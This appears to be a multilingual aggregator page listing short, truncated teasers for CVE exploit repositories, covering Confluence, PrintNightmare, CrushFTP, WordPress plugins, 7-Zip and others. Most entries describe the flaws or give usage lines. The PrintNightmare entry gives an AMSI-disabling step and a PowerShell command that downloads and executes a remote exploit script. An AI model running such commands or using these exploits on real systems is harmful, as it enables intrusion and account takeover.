CVE-2023-22518

CVE-2023-22518 Exploit per Confluence CVE-2023-22518 RCE tramite backup-restore Endpoint POST /setup/setup-restore.action Richiede un login valido e diritti di amministratore o un bypass dell'autenticazione File xmlexport-20231127-071916-1.zip – backup Confluence vuoto. Ripristinarlo cancellerà...

cve-2021-1675

cve-2021-1675 disabilita amsi: copia in powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt esegui invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crea account...

CVE-2020-29607-POC

Pluck CMS 4.7.13 Exploração de RCE por Upload de Arquivo 🚨 Exploração Educacional de Execução Remota de Código 🚨 Autor: Ron Jost Hacker5preme Referência: Exploit-DB CVE: CVE-2020-29607 ⚠️ Aviso de Responsabilidade: Este script é apenas para fins de teste educacional e autorizado. Não o utilize em...

CVE-2025-31161

CVE-2025-31161 - Exploração de Bypass de Autenticação CrushFTP PoC CVE-2025-31161 - Bypass de Autenticação CrushFTP 📌 Detalhes do CVE ID : CVE-2025-31161 Tipo : Bypass de Autenticação Fornecedor : CrushFTP Impacto : Permite que atacantes não autenticados forjem um token CrushAuth válido e criem u...

CVE-2026-51119

CVE-2026-51119 - Escalata dei Privilegi in Invixium IXM WEB v2.3.85.25 Panoramica Esiste una vulnerabilità di escalation dei privilegi in Invixium IXM WEB v2.3.85.25 a causa della mancanza di controlli di autorizzazione sull'endpoint POST /SystemUsers/CreateAppUser. Un utente autenticato con...

CVE-2026-55182

LibreNMS is a network monitoring system. In versions from 21.6.0 up to 26.5.0, the Signal alert transport is vulnerable to command injection because the signal-cli path and the Recipient field of an alert transport entry are insufficiently escaped before being passed to an exec call. An...

CVE-2025-4334

CVE-2025-4334 - Simple User Registration --form Argumente: -u / --url → Basis-WordPress-URL z.B. https://target.com/wordpress/ --form → Vollständige URL des Registrierungsformulars z.B. https://target.com/wpr/default-registration/ Beispiel: root@kitploit: python3 CVE-2025-4334.py -u...

CVE-2026-23550

root@kitploit: ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗...

CVE-2023-23752

CVE-2023-23752 Informazioni Questo exploit è un bypass dell'autenticazione che perde nome utente e password dell'amministratore e anche la configurazione MySQL nome utente, password, host e database Versione vulnerabile solo 4.00 = 4.28 Usage root@kitploit: usage: exploit.sh -h -u URL -t TARGETS...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 ist eine Schwachstelle für beliebige Dateiuploads in laravel-admin v1.8.19. Dieses Proof-of-Concept nutzt die Schwachstelle aus, um eine Web-Shell hochzuladen. Der Exploit wurde geschrieben, um gegen die Easy-Maschine Usage von HackTheBox eingesetzt zu werden...

CVE-2022-47872

CVE-2022-47872 maccms10 Admin+ SSRF-Angriffe Übersicht Informationen zur Hersteller-Website：https://maccms.pro Quellcode-Download-Adresse： https://github.com/maccmspro/maccms10.git Betroffene Version: V2021.1000.2000 2.Schwachstellendetails https://github.com/maccmspro/maccms10/issues/22 Rufen Si...

CVE-2025-50363_BXSS_CVE

Nome del progetto e URL del repository: Maid Hiring Management System using PHP and MySQL Tipo di vulnerabilità: Escalation dei privilegi tramite Blind XSS Versionei interessatae: v1.0 💣Descrizione della vulnerabilità: È stata scoperta una vulnerabilità di Blind Cross-Site Scripting XSS nel Maid...

CVE-2025-13342

CVE-2025-13342 PoC O plugin Frontend Admin da DynamiApps para WordPress é vulnerável à modificação não autorizada de opções arbitrárias do WordPress em todas as versões até, e incluindo, 3.28.20. Isso permite que atacantes registrem usuários e definam a função padrão como administrador. A...

CVE-2025-67876

CVE-2025-67876: ChurchCRM presenta una XSS persistente nel nome dei ruoli dei gruppi che porta al dirottamento della sessione admin Panoramica...

CVE-2025-2825

CVE-2025-2825/CVE-2025-31161 مقدمة توثّق هذه الوثيقة البحث في الثغرة الأمنية CVE-2025-2825 التي تؤثر على مكوّن الخادم في CrushFTP — وهو حل تجاري لتنظيم نقل الملفات وتخزينها FTP، SFTP، HTTP/S، وواجهات مشابهة لـ S3 وغيرها. يُصنَّف هذا الخلل كـ تجاوز للمصادقة authentication bypass ، مما يسمح لمهاجم ...

CVE-2025-66947

CVE-2025-66947 Iniezione SQL cieca basata sul tempo in krishanmuraiji SMS v1.0 ⏱️ Confronto visivo: risposta normale vs risposta ritardata di 6s 🔍 Riepilogo TL;DR: Un parametro GET in un modulo amministrativo consente l'iniezione SQL basata sul tempo tramite ritardi nella risposta. In...

CVE-2024-6536

Descrizione Questo script è una PoC per CVE-2024-6536, dove è possibile una XSS nel plugin Zephyr Project Manager per Wordpress. Richiede autenticazione e privilegi come amministratore del project manager. Utilizzo root@kitploit: python3 CVE-2024-6536.py -u -p -w Esempio: python3 CVE-2024-6536.py...

CVE-2023-31851

CVE-2023-31851 Existe um ataque de cross-site scripting XSS refletido na interface de gerenciamento baseada na web do Cudy LT400. A página /cgi-bin/luci/admin/network/wireless/status possui XSS refletido através do parâmetro iface. Os métodos de exploração envolvem o envio de uma requisição...

7zip-CVE-2025-11001

Verwendung: root@kitploit: python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe 7-zip ausnutzen Die Schwachstelle ist nur unter Windows ausnutzbar und hat eine große Einschränkung. Der Fehler kann nur ausgenutzt werden, wenn 7-Zip mit Administratorrechten ausgeführt wird,...

CVE-2018-16987

CVE-2018-16987 Dies ist eine Schwachstelle in Bezug auf die Klartextspeicherung vertraulicher Informationen und die Offenlegung vertraulicher Informationen, die ich während eines Penetrationstests in Squash TM gefunden habe. SquashTM Squash TM ist eine Weboberfläche zur Verwaltung von Testfällen...